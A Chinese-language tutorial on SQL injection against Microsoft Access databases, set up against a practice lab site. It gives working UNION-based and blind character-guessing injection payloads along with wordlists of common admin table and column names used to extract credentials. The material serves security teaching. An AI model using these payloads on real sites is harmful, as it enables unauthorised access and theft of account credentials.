SQL注入--Access注入

一.基本概念

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

Access数据库跟mysql、mssql、Oracle等数据库不一样,它就是一个独立的数据库,并不像mysql这些数据库有自带的数据库(mysql中的information_schema),所以我们在进行注入的时候需要用到不一样的方法。

常见语言和数据库搭配:

  • asp+access
  • php+mysql
  • aspx+mssql
  • jsp+mssql,Oracle
  • python+mangodb,mysql

二.靶场搭建

将压缩包xxf5.0.3.4.zip​解压后,然后将解压后的文件复制到windows7虚拟机进行安装,然后将leichinews.zip​解压,放到wwwroot​目录里,在浏览器访问即可。

三.攻击流程

方法1:联合查询

1.判断注入点

一般来说单引号、减号、and等就可以判断是否存在注入(查看是否返回错误信息)

2.判断列数
  • 使用order by语句

    • 字符型

      • -1' order by 3%23:正常
      • -1' order by 5%23:不正常
    • 数字型

      • -1 order by 11:正常
      • -1 order by 22:不正常
3.判断回显位置

常见表名

admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,m

anage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,

UserGroups,user_list,login,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo

构造语句:-1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

  • mysql数据库中union select 后面不需要跟上from+表名​,access数据库中需要给一个表名,但是由于Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

  • 知道存在admin表,并且回显位置在2,3位

  • PS:from+表名,返回正常则说明有该表存在,返回错误则说明没有该表。

4.判断列名

常见列名

username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,

pass-wd,yonghu,id,uid,userid,user_id,adminid,admin_id,login_name

构造语句:-1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin


  • 成功得到账号密码,接下来可以登录后台,但是发现利用得到的账号密码无法登录,这是因为得到的password字段是经过了加密,使用"雷驰加密解密"工具解密得到原文为admin


方法2:逐字猜解

1.猜表名

构造语句:-1 and exists (select * from admin) 页面正常说明存在admin表

2.猜列名

构造语句:-1 and exists (select admin from admin) 页面正常,说明存在admin表里存在名为admin的列

3.猜字段内容长度

构造语句:-1 and (select top 1 len(admin) from admin)=5

  • top 1为查询结果只显示首条记录。
  • len为获取长度
4.获取字段内容
  • 获取字段内容第一位:-1 and (select top 1 asc(mid(admin,1,1)) from admin)=97页面正常则说明第一位的ASCII码值为97也就是a

    • mid(列名,起始位置,要返回的字符数)
  • 获取字段内容第二位:-1 and (select top 1 asc(mid(admin,2,1)) from admin)=97

相关推荐
彧azz8 小时前
Java学习语法篇:变量
java·学习
Yanjun2i8 小时前
Agent学习记录五:Pydantic验证
人工智能·python·学习
程序员阿鹏8 小时前
为什么MySQL InnoDB选择B+树?
数据结构·数据库·b树·sql·mysql·算法·缓存
疯狂打码的少年9 小时前
【计算机网络】TCP/IP协议族(四层体系结构,与OSI对比)
网络·笔记·tcp/ip·计算机网络
瀚高PG实验室9 小时前
使用pg_stat_statements抓取数据库TOP SQL
数据库·sql·postgresql·瀚高数据库
xqqxqxxq10 小时前
AI Agent学习:Agent协作工具技术笔记(李博杰《深入理解 AI Agent》4.6观后总结)
笔记·学习
白猫不黑10 小时前
大学网安方向学习路线:零基础与有基础的学习顺序整理
学习·web安全·计算机·网络安全·信息安全·编程·src漏洞
工业HMI实战笔记11 小时前
玩具制造HMI:注塑成型的快速换模与质量监控界面
人工智能·学习·交互·制造
yanwumuxi11 小时前
【数据库系列】opensearch数据备份和恢复
数据库
anxiao_m11 小时前
2026企业AI数字孪生选型攻略,不同场景对应不同解决方案
大数据·网络·数据库